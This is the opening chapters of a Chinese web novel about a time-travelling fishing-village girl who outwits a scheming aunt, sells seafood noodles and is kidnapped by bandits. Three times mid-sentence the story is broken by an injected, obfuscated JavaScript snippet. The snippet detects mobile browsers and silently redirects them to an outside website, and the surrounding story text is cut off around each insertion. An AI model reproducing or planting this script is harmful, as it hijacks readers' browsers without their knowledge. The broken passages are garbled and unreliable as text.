《古代渔女发家记（美食）》 1. 天崩开局 春寒乍暖，已是二月，清晨的小渔村，朝露未晞，海风裹挟着凉意吹拂而来。 “呜呜呜，阿姐，你醒醒啊。” 云楚沅意识清醒时，就感觉自己的身体在被摇晃，耳畔传来一阵阵抽泣声。 她费劲地掀起眼皮，映入眼帘的是坑坑洼洼的墙面，盖在身上的薄被发出一股霉味。 脑袋一阵刺痛，云楚沅断断续续接收到了许多不属于她的记忆。 原来，她这是穿越了…… 云楚沅是家住海边的赶海博主，跟着家人一起搞养殖，今早她在鱼塘巡视时，一个脚滑跌入水中。 谁能想到，这一下子就穿越到古代不知名的小渔村了。 原主与云楚沅同名同姓，爹娘前几日出海时丧生。 云楚沅刚过及笄，一时经受不住打击病倒了，家中两个年幼的弟妹六神无主，日日在床头哭泣。 “阿姐，你醒了！哥哥，快来啊，阿姐醒了！” 面黄肌瘦的小丫头跌跌撞撞地跑出了屋子。 云楚沅揉着额头，缓缓撑起身子，消化着自己穿越这件事。 “阿姐！来吃点东西。”头发蓬乱的小男孩捧着一个碗，小心翼翼地递到云楚沅的眼前。 云楚沅看着眼前双眼发红、骨瘦嶙峋的两个孩子，接过那碗不见一粒米的汤水，心里很不是滋味。 别人穿越不是达官贵人就是千金小姐，怎么轮到自己，就是家徒四壁、穷困潦倒的天崩开局。 云楚沅欲哭无泪，穿都穿了，还能怎么办，只能接受现实了。 “阿姐，你好点了吗？” 女娃哽咽的声音打断了云楚沅的思绪。 她露出一个虚弱的笑容，伸手揉了揉两个孩子的脑袋，轻声说道：“楚河，楚清，阿姐没事了，这几日辛苦你们两个照顾我了。” 云楚河咬着嘴唇：“阿姐，村里人都说你活不成了，我才不信呢！” 云楚沅心想，小弟弟，你阿姐的确是一命呜呼了。 不过她既然来到这里，继承了这具身体，就一定会替原身照顾好家人。 云楚沅紧了紧身上缝满补丁、捉襟见肘的粗布麻衣，拖着无力的身体从床上下来。 打量了一圈周围的环境，她再次对这个家的贫穷叹为观止。 土柸砌成墙上不断有墙皮掉落，桌椅床榻破败不堪，不像是能住人的样子。 破旧的漏风木门，轻轻一推，发出“吱哟吱哟”的声响。 云楚沅经过萧条的院子，走进简陋的厨房去刷碗，一点油水也没有的裂口陶碗，拿水一冲就干净了。 她逡巡了一圈，打开橱柜，掀开米缸，果然不出所料，空无一物。 云楚沅默默叹了口气，走了出去，静静思索着接下来该怎么办。 紧挨着厨房土墙后传来窸窸窣窣的响声，吸引了云楚沅的注意。 她轻手轻脚地靠了过去，贴到墙上，竟听到两个妇人的密谋。 “陈媒婆，你找我就对了，我那个外甥女长得水灵，为人老实，配给徐公子做妾，那是她几辈子修来的福气啊。” 一道尖锐的女声响起，即便压低了声音，也叫云楚沅听得清清楚楚，说话之人分明是原身的舅母。 “哼，最好像你说的那样，徐家纳妾可是要找好生养的，徐夫人等着抱金孙呢。呐，这是一两银子，你先收着，事办成了，少不了你的好处。” “哎哟，我的老姐姐呀，我还能框你不成？”谄媚的妇人瞬间喜笑颜开。 听闻两人的对话，云楚沅瞬间后背发凉。 这个舅母尖酸刻薄，向来爱占小便宜，云家夫妇刚刚过世，她就打起来他们长女的主意。 云楚沅用脚趾头想，都知道这老虔婆想干什么。 无非是像把她卖了换钱，再借着亲戚的名义，堂而皇之地霸占她家的房子。 呸，这小算盘打的真响，云楚沅暗暗啐了一口。 要是原先胆小怯懦的云楚沅还活着，兴许就会被舅母的三言两语蒙骗。 可如今，在这的是她云楚沅，她是绝不会让这恶毒舅母的奸计得逞。 眼珠子一转，云楚沅悄悄进了里屋，将云楚河叫了过来，“阿弟，你去帮我办件事。” 她凑近云楚河的耳畔，小声嘀咕了一番。 云楚河面色严肃，郑重地点了点头。 云楚沅往脸上撒了点水，溜进了屋内，躺到床榻上静静等待。 “砰”的一声踹门声响起，大嗓门的妇人高声喊道：“沅儿，舅母来看你了。” 云楚沅闭紧双眼，咬牙切齿地想，她家的门本来就不结实，踹坏了怎么办？ “哎哟，我们沅儿啊，这是怎么了？” 紧接着房门被推开，讨人厌的声音来到床前。 云楚沅装作被惊醒的样子，缓缓睁开双眼。 “咳咳，舅母，您怎么来了？我发热了，传染给您可不好。” 云楚沅面色苍白，捂着口鼻不停咳嗽，额头挂着水珠，看起来一副病入膏肓的模样，我见犹怜。 陈媒婆挑剔的眼神来回扫视着坐起身来的少女，倒是有几分姿色，不过这身子骨看着可不大好，仿佛马上就要香消玉殒了。 “舅母，这位是？”云楚沅疑惑地看向眼前陌生的妇人。 “沅儿啊，我这次来，可是有好事要说与你听的。” 这位舅母眼神泛着精光，装出一副和蔼可亲的样子，蛊惑道：“沅儿啊，你爹娘没了，你一个人怎么照顾楚河跟楚清啊。舅母请人为你说了门好亲事，保准叫你后半辈子衣食无忧。” 云楚沅心里冷笑，要真是好亲事还能轮得到我？你早把自己的女儿嫁过去了。 “舅母，阿沅不求荣华富贵，只求觅得一个踏实肯干的如意郎君。别的不说，我将来的相公得像我爹爹一样老实，没有花花肠子。”云楚沅羞涩一笑。 妇人脸色一变，继续劝道：“沅儿啊，老实又不能当饭吃，银子才是实打实的，徐家可是镇上有名的富绅，你虽是做妾室，那也是去享福的呀。” “做妾？我怎能如此轻贱自己呢？倘若我爹娘泉下有知，定会死不瞑目的，嘤嘤嘤。” 云楚沅坐在床边潸然泪下，她的身子摇摇欲坠，一下子摔倒了地上。 “舅母，我们什么仇什么怨？你要这般作践我？枉我还以为你和舅舅是我仅剩的亲眷，你却要将我推入火坑！” 面对云楚沅的控诉，妇人面色铁青，她怎会承认自己有歹心，她揽住云楚沅的肩膀，想将她扶起来。 熟料云楚沅不为所动，竟赖在地上不起来了。 “舅母，你到底收了别人多少好处，才想将我卖掉，你难道不会良心不安吗？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860555|175998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不等舅母反驳，她嚎啕大哭起来：“呜哇，爹，娘，你们怎么不把我一起带走啊，女儿被人欺负都没有人为我出头。” “沅儿，谁欺负你了！” 房门被推开，门外围着许多村民，为首的正是小渔村的村长。 云楚河从人堆里挤了进来，一下子扑到云楚沅的跟前，痛哭流涕道：“阿姐，我把村长喊来了，一定不会叫你被舅母卖掉！” 云楚沅在众人看不到的角度，向他使了个“干的漂亮”的眼神。 她吩咐云楚河去把村长请来，一路上大声哭喊，最好搞得人尽皆知，她是打定主意要把这家丑扬出去。 “村长，您一定要救救我啊，我那舅母用一两银子将我卖给人做小妾，这是要逼死我啊！”云楚沅继续哭天抢地，作出万念俱灰的样子。 “你胡说什么！我分明在给你说亲，哪里是卖！”妇人面容狰狞。 云楚沅眼疾手快地从舅妈的腰间掏出一块碎银子，“我亲眼所见，这就是证据。你们买卖妇女，就算告到衙门，也是我占理！” 妇人未曾想到云楚沅早就偷听到她和陈媒婆的对话，先前与她虚与委蛇，只不过是在拖延时间，待小渔村的村民们赶来，当众揭穿她。 她指着云楚沅的鼻子破口大骂：“你这没爹没娘的小贱人，敢算计我？” 村长怒目圆瞪：“王桂芬，我们村不欢迎你，哪来的回哪去！” 云楚沅哭哭啼啼地说道：“好人不长命，祸害遗千年。老天真是不长眼啊，我爹娘可是救了许多条人命的大善人，要是知晓我被欺辱，岂非抱恨黄泉？” 她话里有话，旨在暗示村民，云家夫妇乃是为救同村的青年们而丢了性命。 那些承蒙恩惠的村民本就对云家三姐弟心怀愧疚，一听这话，自然愤怒难忍。 “对啊，老云夫妻俩过世了，大伙儿理当照顾他们的孩子，怎么能让他们被人欺负了去。” “就是，这隔壁村的婆娘凭什么在我们小渔村耀武扬威！” “哼，这种丧尽天良的泼皮就是欠教训，敢来这儿撒野，我叫你好看！” 一位性子泼辣的婶子拿起院子里的扫帚，就往王桂芬和陈媒婆的身上招呼。 其他人有样学样，纷纷从家中取来趁手的棍棒，将两人撵了出去。 云楚沅幸灾乐祸地看着舅母狼狈逃窜的背影，趁乱在她身上拧了两下。 “啊！你们小渔村的人当真是不讲理。”舅母嗷嗷叫着，抱头鼠窜。 “你们这群刁民，给我等着！”陈媒婆发丝凌乱，心中恼火，她就不该来这一趟，平白无故地遭受了无妄之灾。 云楚沅摩挲着掌心的银子，满意地点头，心安理得地收下了这笔飞来横财。 村民们安慰了云楚沅两句，相继离开了云家，只余村长夫人留了下来。 “楚沅，你放心吧，那贼婆娘再来，我们会替你做主的。你也不容易，还有欠债要还，村里人都是通情达理的，愿意等你慢慢还。” 云楚沅动作一僵，有种不祥的预感，她声音颤抖地发问：“什么欠债？” 村长夫人面露讶异：“楚沅，你不知道吗？你爹生前盘算着自己做点营生，借钱打造了一条小船，还承包了村里的废弃池塘。” 云楚沅只觉晴天霹雳，这就是所谓的祸不单行吗？ 2. 对簿公堂 俗话说，靠山吃山，靠海吃海。 小渔村的人皆是渔民，村民们分批出海捕捞，以卖鱼虾为生。 云楚沅怀着沉重的心情，出门打探了一番，她爹请人新打造的木船出海时被海浪打翻，破损严重。 村子里废弃多年的池塘，堆积了数不清的淤泥，水面飘满翻白眼的死鱼，散发着一股酸臭味。 云楚沅明白当务之急就是搞钱，待她将木船修好，可以出海捕捞，鱼塘清理干净后还能搞养殖。 问题是做这些事情都需要本钱，如今她的手里只有一两银子，实在是不顶用。 她心念一动，回家取了个木桶来到海边，她想试一试自己的特殊体质有没有一同穿越过来。 云楚沅自小在海边玩耍时就发现，她特别受小鱼小虾的欢迎，每次赶海都能满载而归，家里的养殖生意交到她手上后，海鲜更是被养得生龙活虎。 踩在海滩的细沙上，脚下发出“沙沙”的声响，海浪拍打在礁石上，将石头表面冲刷得十分光滑。 远处的海面波光粼粼，与湛蓝的天空交相辉映，二月初的清晨，正是退小潮之际。 海水退却后的岸边，留下不少小水洼，偶尔有几条搁浅的小黄鱼蹦跶不停，卧沙的猫眼螺鼓起一个个小包，还有吸附在贝壳中的八爪鱼张牙舞爪。 云楚沅一手拿铲子，一手提桶，眼疾手快地将目光所及之处的所有海鲜一网打尽。 沿着海岸线走，水中的鱼儿争相跳出水面，银白色的鳞片吸引着云楚沅的注意，竟有螃蟹挥舞着双钳，主动爬进她的木桶。 云楚沅笑裂了嘴，看来她的金手指还在，难道这冥冥之中自有天意？ 收获颇丰的云楚沅哼着小曲走回家中，今日的午饭算是有着落了。 她将几条体型大一些的黄花鱼丢进水缸里养着，剩余的小鱼、螃蟹和八爪鱼直接水煮，用厨房见底的酱油做蘸料。 “楚河、楚清，出来吃饭吧。” 主屋的门“吱呦”一声被推开，两个孩子走了出来。 云家小院只有三间泥胚房，主屋和侧屋，外加一间灶房。 原先主屋住着云氏夫妇，侧屋挤着三姐弟，现如今爹娘去世了，云楚沅就安排弟弟妹妹住进了面积大一点的主屋。 这对双胞胎将将六岁，还不到避嫌的年纪。 “阿姐，晌午过后，我打算跟着村长他们一起出海，学着捞鱼。”吃着饭的云楚河主动开口。 经历双亲离世的男孩隐隐有了立起来的念头，尤其昨日亲眼目睹阿姐的遭遇，他心里发誓要做顶天立地的男子汉，保护好自己的家人。 “阿姐，我要去找隔壁的春香姐学针线活。”云楚清不甘示弱地说道，她一个小丫头也生出了补贴家用的心思。 云楚沅看着他们两个认真的眼神，很是欣慰，“好，既然你们有成算，阿姐支持你们。家里没粮食了，用完饭后，我准备进城一趟。” 小渔村隶属于临海县，是地理偏僻的三不管地带，朝廷鞭长莫及。 被派遣到此地的官员相当于变相流放，历任县令勾结富绅搜刮民脂民膏，百姓们怨声载道。 云楚沅行走在临海县的大街上，发现这里百姓们的精神面貌萎靡，商铺生意也不甚好。 从原主的记忆可知，这座小县城经济落后，时不时还会有流寇出没，除了地主富绅，普通平民的日子并不好过。 云楚沅从徐记粮铺卖了些米面，出门时不小心撞上了一名男子。 不等她道歉，一道轻佻的声音响起：“哟，这不是云家小娘子吗？还没过门，就迫不及待对小爷投怀送抱了？” 云楚沅抬头一看，说话之人是一位油头粉面的纨绔子弟，他身后跟着几名耀武扬威的小厮。 “公子，我不认识你，还请自重！” 云楚沅从男子的话中大概判断出来者何人，她就更不想与这样下三滥之人扯上关系。 “啧啧啧，你的好舅母收了我的聘礼，你已经算是我的人了。” 徐公子轻摇着手中的折扇，伸出手指挑了下云楚沅的下巴，言行无状，举止粗俗。 云楚沅柳眉轻蹙，她那无赖舅母又折腾什么幺蛾子呢，难道是还不死心？ “我不知道你在说什么，谁收了公子的聘礼您就去找谁，与小女子无关。”云楚沅面色冷淡，转身欲走。 熟料徐公子一把扯住了她的衣袖，阻止了她。 “诶，小娘子别走呀，瞧瞧看吧，我可没有说谎话。” 徐公子从怀里取出一张纸扬了扬，云楚沅抢过来一看，竟是一份纳妾的彩礼单子，上头列举的财物价值好几十两，她舅母王桂芬的大名歪歪扭扭写在上面，还盖着一个血红指印。 云楚沅气得浑身发抖，好你个王桂芬，贼心不死，待她脱身，定要报仇。 徐公子和他身边的下人将她团团围住，拖进附近的小巷。 周围的顾客作鸟兽状散去，显然是不想多管闲事，得罪这位临海县大名鼎鼎的徐家少爷。 云楚沅大感不妙，她知晓这次是在劫难逃了。 正当她一边奋力抵抗眼前之人的动手动脚，一边冷静思考着脱身之法时，不远处传来一道清越的男声。 “光天化日，朗朗乾坤，尔等宵小作甚？” 云楚沅闻言望去，只见一位玉树临风、身姿挺拔的俊秀书生站在巷口，正气凛然，气度不凡。 “你是何人？也不打听打听我徐家在这临海县什么地位，就算天王老子来了，都管不了我。”徐公子气焰嚣张地嚷嚷道。 剑眉星目的书生面不改色：“哼，目无王法，胆敢强抢民女，今日在下便替天行道。” “唰”的一声，来人抽出腰间佩剑，修长的身形一闪，直直冲向徐公子。 徐公子大骇，万万想不到在这小小临海县还有敢对他拔剑之人，他将身边的下人推了出去，大喊道：“快保护我！” 书生身形消瘦，剑法却相当凌厉，一招一式直击要害。 徐家的小厮举起随身携带的棍棒慌忙反击，为首之人只觉手中一轻，棍子已被挑落，其他下人见状，一拥而上，试图仗着人多势众拿下这不知天高地厚的小子。 书生丝毫不惧，轻巧避过迎面袭来的木棍，长剑如同灵蛇流窜而出，打得他们节节退败，纷纷倒地，哀嚎不止。 徐公子气得面色通红：“废物！你们这群饭桶，连这个小书生都治不住，我养你们有何用！”说罢，他慌不择路地从巷尾溜走了，临走前还不忘留下一句狠话。 “臭小子，你给我等着，待我回去告诉我爹，他绝对饶不了你！” 云楚沅双眼放光地盯着眼前这位神色清冷的书生，心底不由感叹，这就是英雄救美的滋味吗？感觉还不赖！ 她平日里见惯了海边风吹日晒的糙汉，乍一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860556|175998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到如此宛如嫡仙的翩翩公子，难免恍惚。 “姑娘，你没事吧！姑娘！” 眼前晃动的指节分明的手背，堪堪唤醒云楚沅的神志，她停止犯花痴，脸颊通红地轻声道谢：“多谢公子相救，不知公子姓甚名谁？家住何处？日后小女子定会报答恩公。” 书生不以为意地说道：“无碍便好，在下不过是路见不平拔刀相助，担不得一句恩公，姑娘不必挂怀。倘若日后再遇麻烦，可到县衙求助，告辞。” 云楚沅望着书生转身离开时被风吹起的衣摆，久久不能回神。 回到家中的云楚沅越想越气，她当即找上村长，将今日在县城所遇之事道了出来，村长听闻勃然大怒，召集村民决定为她讨回公道。 云楚沅略一思索，直接带着村民去县衙，状告舅母王桂芬买卖妇女。 威严庄重的县衙大堂，云楚沅瞧见高坐上位的眼熟书生时，略微晃神，想不到临海县新来的县令就是她的救命恩人。 她心中大定，既然县太爷是此人，定会秉公执法。 裴昱臣也略显惊诧，没想到刚救下的女子，这么快就再次相遇。 “堂下何人，所告何事？”年轻县令板着脸端坐，气势十足。 衣着朴素的云楚沅眼神决然道：“回大人，小女子今日冒死前来，是要状告我那恶毒舅母！” 女子的声音带着哭腔，却又透着倔强，在这寂静的大堂里传开。 云楚沅的眼中蓄满泪水，诉说自己的悲惨遭遇：“小女子名唤云楚沅，小渔村人士，我爹娘刚过世，我那狠心舅母上门来欲将我卖给徐家做妾，还望大人为小女子做主。” 她攥紧衣角，忍不住掩面痛哭，周围的差役都为之动容。 县令轻拍一下惊堂木，沉声说道：“云氏，你可有人证物证？” 云楚沅从怀里掏出印有王桂芬手印的彩礼单，高声说道：“大人，此乃物证，我们村所有人皆是人证。” 裴昱臣扫了一眼差役呈上来的纸，传唤候在堂外的小渔村村民，又下令搜查王桂芬的家是否有来历不明的财物。 两刻钟后，衙役押着王桂芬来到公堂，手里提着一包金银珠宝，正好与彩礼单上的物品一一对应。 王桂芬的脸上不见丝毫愧疚之色，跪在地上仍旧嘴硬：“哼，你这死丫头，竟敢跑到这公堂之上污蔑我。我所做之事皆是为了你好，若不是怜你孤苦无依，我又怎会操这份闲心，想方设法为你寻个好归宿。” 云楚沅对她的强词夺理深感厌恶，差点忍不住扑上去赏她两个耳光。 “肃静！” 裴昱臣又拍一下惊堂木，宣判道：“罪妇王氏，买卖良家妇女未遂，证据确凿，按我朝律例，卖人为妻妾者徒三年。” 待凶神恶煞的衙役将跪在地上的王桂芬拽起时，她才后知后觉地面露惶恐，无知妇人并不知晓将自家外甥女嫁人还会违法。 王桂芬慌了神，不断磕头，连声哀求：“大人，大人，我知错了，饶了我吧！” 她被拖行至云楚沅身边时，一把捉住云楚沅的手腕，仿佛抓住最后一根救命稻草，“沅儿，沅儿，舅母错了，你快为我求求情，我不想下大狱啊。” 云楚沅冷笑一声，用力将舅母的手甩开，此等毒妇还是在牢里好好反省吧！ 这桩糟心事落下帷幕，走出县衙大门的云楚沅神清气爽，她可算是出了一口恶气。 3. 海鲜面 落日熔岩，黄昏时的小渔村，宛如蒙上了一层金红纱衣。 微风轻拂过的海面泛起层层涟漪，带来海水的咸湿气和淡淡的鱼腥味。 归来的渔船满载收获，鱼篓里鱼虾跳跃，皮肤黝黑的渔夫们洋溢着笑容，抛锚靠岸，卸载货物。 孩童们赤足奔跑在沙滩上，清脆悦耳的笑声此起彼伏，他们提着竹篓，挑捡着贝壳。 海岸边错落有致的房屋，升起袅袅青烟，渔家女正在灶台前忙碌着，准备吃食，等待归家的男人。 夜幕悄然降临，小渔村每家每户渐渐亮起灯火，一家老小围坐桌前享用晚膳，欢声笑语连绵不断。 云家小院中，虽不如别家热闹，却也透着温馨。 “阿姐，这是我今日出海的收获。” 云楚河走进厨房，将背上的竹篓放到地上，云楚沅凑近一看，有三条不大不小的鱼，虽不多，却是孩子头一回捕捞，理应给予鼓励。 “楚河，辛苦了，去洗洗手，阿姐做了香喷喷的海鲜面。” “阿姐，你瞧，我能自己缝补衣裳了。”云楚清跑进来，举起手中的旧衣，一脸骄傲地看向云楚沅。 “楚清也很厉害。” 补丁四周的针脚粗糙，但女孩的手指上布满了小红点，云楚沅又怎会泼她冷水呢。 端上桌的海鲜面香气四溢，红彤彤的鲜虾紧实饱满，裂开口的蛤蜊肉质肥美，雪白诱人的鱼片口感爽滑，吸饱汤汁的手擀面劲道弹牙，每一口都能品尝到海鲜的鲜美。 三人大口大口地吃下一碗海鲜面，又动作一致地又盛了一碗，在这凉风阵阵的晚间，暖胃又舒心。 “阿姐，你做的面真好吃。”云楚河舔了舔嘴角，意犹未尽地说道。 “嗯，太香了！”云楚清的小脑袋把头埋在碗里，像是一只拱食的小猪，惹得云楚沅止不住地发笑。 云楚沅的厨艺高超，对怎样处理海鲜也十分有经验，即便古代的调味料稀缺，凭借她的好手艺，也能惊艳没吃过珍馐美馔的普通人。 “你们说我去县城摆摊卖面怎么样？” 云楚河听这话思索了一会，给予了肯定的回答，“我觉得行，凭阿姐你的手艺，绝对能赚钱。” 翌日破晓，天色尚未大亮。 云楚沅早早起床准备今日要用到的食材，楚河和楚清听到院子里的声响，揉着惺忪的睡眼，也跟着帮忙。 泡了一夜的蛤蜊已将沙子吐净，活虾去虾头去虾线，开膛破肚的肥鱼被片成薄如蝉翼的鱼片。 热油下葱姜蒜爆香，加入虾头煸炒，最后倒入由虾壳鱼骨熬制而成的奶白清汤，用盐调味后，海鲜浇头就做好了。 和好的面团醒发过后，擀成面片折叠起来，再用刀切成细长的面条。 云楚沅从院子里的角落推出一辆破旧的小推车，将食材、铁锅、碳桶全部装上去，海鲜面要现做才好吃。 三姐弟整装待发，趁着朦胧的天色上路了。 小渔村距离临海县不算太远，他们到集市时，熙熙攘攘的街道已经传来小贩的吆喝声。 这个时辰的早市卖菜的居多。 云楚沅带领弟妹将小摊摆好，把铁锅架到碳桶上，煮了一锅热水，下入的面条在水中沸腾翻滚。 捞出面条，淋上一勺海鲜浇头，撒一把葱花，云楚沅将这碗色香味俱全的海鲜面摆放到两个弟妹面前，示意他们快吃。 云楚河率先领悟她的意思，拿起筷子吃的津津有味，看得周围的人不住咽口水。 有人按捺不住，上前一步询问道：“小娘子，你这面怎么卖？” “十二文一碗的海鲜面，保准您吃了还想吃。” “给我来一碗。” 云楚沅手脚麻利地煮面条、淋浇头，一套动作行云流水，吸引了不少客人。 待到晌午，云楚沅准备的食材已是所剩无几，两个孩子数着铜币喜笑颜开。 在他们打算收摊之际，一个意想不到的人走了过来。 “云姑娘，面可还有卖？” 云楚沅闻声抬头，竟是新任县令大驾光临。 “恩公，稍等，我这就为你做。” 温润如玉的男子和煦一笑：“云姑娘，在下姓裴，名昱臣，不必叫我恩公，除暴安良乃我这为官之人职责所在。” 云楚沅朝着这位文绉绉的小书生轻笑：“好的，裴县令。不过衙门不管饭吗？怎要劳烦我们县令大人亲自出来买吃食？” 裴昱臣没好意思说自己挑食的毛病犯了，县衙的伙夫做的海鲜腥味重，他吃不惯。 “路过此地，被香味吸引，遂过来瞧瞧。” 云楚沅将做好的海鲜面递给他，“那裴大人有口福了，别人都对我的手艺赞不绝口。” 裴昱臣站在一旁细细品尝，这人吃东西都这么赏心悦目，不愧是文雅之人。 “这海鲜面甚是美味，在下吃好了，多谢云姑娘。”裴昱臣放下碗筷，拱手行了一礼，心满意足地离开了。 云楚沅摇头失笑，这人总是一本正经，时刻遵循繁文缛节，年纪轻轻，却端着一副小古板的模样，甚是无趣。 卖了几日海鲜面，云楚沅又推出了海鲜拌面，海鲜用豆酱翻炒，味道醇厚，别有一番滋味。 临海县出了位擅长做面食的小娘子一事，传得沸沸扬扬，自然也瞒不过徐公子的耳朵。 他这几日正在家中怄气，上回在那名书生手上吃瘪可叫他好一顿大发雷霆，没曾想他告诉父亲之后，父亲竟然叫他忍一忍。 徐公子派人打探一番此人来历，才得知他是新上任的临海县县令。 他们徐家能在临海县立足，少不了每年往上孝敬，历来的县令没少收他们徐家的好处。 倒是这新来的裴县令油盐不进，不买他们徐家的账，徐家老爷已经私下联络了临海县的各位豪绅，准备给姓裴的使使绊子。 鲜有人知，他们徐家和城外臭名昭著的黑水寨有姻亲关系，他爹曾把一个庶女送给黑水寨大当家做夫人。 临海县附近的官道经常有土匪抢劫，也是这个小地方发展不起来的原因之一。 裴昱臣新官上任三把火，盯准了黑水寨打算一举铲除，他们徐家可不会坐以待毙。 徐少爷心里认定，裴昱臣和云家小娘子有一腿，那日才会为她出头。 既然他暂时动不了裴昱臣，那先拿云家丫头开刀，也不无不可。 这头的云楚沅还不知自己被人记恨上了，她这几日心情尚佳，攒下的银两足够她把她爹留下的破船修好。 她带着云楚河出海了一趟，撒下铺天盖地的渔网后，静静等待，拉紧绳索收网时非常吃力。 果然，她的特殊体质发挥了大作用，密密麻麻的银鱼在网中跳动，还有数不清的鲳鱼、鲫鱼和鲈鱼夹杂其中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860557|175998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一旁的云楚河看的目瞪口呆，就算是经验丰富的老手来，都不一定有如此收获，他不禁向阿姐投去敬佩的目光。 云楚沅对此习以为常，招呼着云楚河搭把手，她盘算着这次捕捞的鱼能卖多少钱，够不够她在县里盘下一间铺子。 没错，云楚沅的下一个目标就是将小摊子升级成食肆，这样才能将她的好厨艺发挥得淋漓尽致。 可还没等云楚沅攒够租赁铺子的银钱，她就在进城的路上遭遇了意外。 这日天朗气清，云楚河和云楚清留在小渔村，她独自一人出来采买粮食。 云楚沅走在小渔村通往临海县的小路上，突然，远处传来一阵嘈杂的马蹄声和叫嚷声，她心头一紧，连忙躲在一棵大树后面，悄悄探头望去。 只见一群凶神恶煞的土匪骑马飞奔而来，他们身形魁梧，脸带刀疤，眼神凶狠，手里提着的长刀在日光下闪着寒光。 云楚沅缩着身体，握紧手心，她的心脏剧烈地跳动，大气也不敢出。 土匪们行至附近，停了下来，为首那位满脸络腮胡的大汉，勒住缰绳高声喝道：“弟兄们，咱们可好些日子没遇上肥羊了，今日一定要干票大的！” 众人纷纷附和，四散着藏匿起来，准备埋伏在此地打劫过路之人。 就在这时，一个眼尖的土匪好像察觉到了什么，他指向云楚沅的藏身之处喊道：“大哥，那儿好像有人！” 话音刚落，众人的目光都聚焦过来，云楚沅瞬间感觉如芒在背，冷汗顺着额角流淌下来。 彪形大汉翻身下马，快步走到树旁，一把将人揪了出来，周围的土匪迅速围靠过来，刀剑出鞘，寒光逼人。 “哟，哪来的这么标致的小娘子？” 云楚沅强装镇定，颤声道：“各位好汉，我身上没什么值钱的东西，还望高抬贵手，放我一条生路。” 土匪头子听闻，发出一阵嗤笑：“哈哈，没有银钱，但你有姿色啊。来人，把她绑起来，带回我们黑水寨！” 云楚沅的心里“咯噔”一声，没想到这群土匪不劫财而是劫色，也不知这次她还能有好运脱离虎口吗。 她哪里清楚这群土匪受了徐家公子的指示，就是冲她来的。 云楚沅被关进了黑水寨的柴房，角落里缩着一位身着粉衣的女子。 她叹了口气，对这名女子升起了惺惺相惜之感，“姑娘，你是怎么被抓进来的？” 粉衣女子抬起头来，云楚沅看清她的真容，傻眼了，这姑娘怎么和裴昱臣长得那么像？ “裴……裴大人？”云楚沅小心翼翼地出声问道。 画着淡妆、面容精致的女子矜持地点了点头，“云姑娘，好巧。” 云楚沅嘴角一抽，看不出来，这小县令还有这等癖好。 裴昱臣看到云楚沅一言难尽的样子，就知道她误会了。 “在下不过是为除流寇，以身犯险。” 云楚沅恍然大悟，原来裴大人是为公务献身，也许她的好运来了，她可以跟着裴昱臣离开黑水寨。 “裴大人，您有什么计划？小女子定会竭尽全力助您一臂之力！” 裴昱臣看着眼前女子笑容满面的样子，朝她勾了勾手指，“俯过身来，我说与你听。” 云楚沅赶忙凑过去侧耳倾听，双眼亮晶晶的，时不时点头应和。 不愧是读书人，计划就是周全。 4. 黑水寨 夜幕降临，坐落在深山老林里的山寨喧闹起来，一群彪形大汉围坐在篝火旁，举止粗狂地喝着酒，满嘴污言秽语地调笑着。 “老大，你艳福不浅啊，今儿一下子抓来两个小美人。”贼眉鼠眼的小喽啰朝着他们黑水寨的大当家挤眉弄眼。 对面之人脸上有一道长疤，从眉梢延伸至嘴角，宛如一条蜈蚣盘踞于此，络腮胡大汉面容狰狞、凶神恶煞，仰头大笑时满是匪气。 “哈哈哈，等我和美人度过洞房花烛夜，就把她们赏给你们。” 其余土匪不怀好意地哄笑起来，他们这群亡命之徒烧杀抢掠、无恶不作，女人在他们眼中就如同银子一般，想用就用，想赠人也不过一句话的事。 “老大今夜想先享用哪位美人？” 大当家捋着络腮胡，醉眼朦胧地说道：“去把她们带上来，老子亲自挑。” 手下人连忙去柴房将云楚沅和裴昱臣带了上来。 男扮女装的裴昱臣很是别扭，走路都刻意收敛力度，轻迈莲步，垂在身侧的双手不自在地捏着裙摆，他总觉得宽松的衣裳会将自己绊倒。 走在后头的云楚沅叹为观止，这人身段柔美，瞧着比她这个真正的女子还要还淑女呀。 粗暴蛮横的土匪头子一把扯过裴昱臣，大掌揽住他纤细的腰肢，一张口喷出满满的酒气，“小……小娘子闭月羞花，冰肌玉骨，真乃绝色，跟了我不会亏待你的。” 裴昱臣额角青筋直跳，浑身僵硬，极力忍耐着给他一拳的冲动，低着头装作羞涩的模样，平日里清朗的声音刻意压低，细声细语道：“大当家只要对奴家好，奴家定全心全意地侍奉您。” “噗嗤！” 云楚沅实在没忍住，笑喷出声，一下子就吸引了众人的目光。 大当家松开裴昱臣，摇摇晃晃地站了起来，指着云楚沅说道：“笑什么笑？你莫不是羡慕了？” 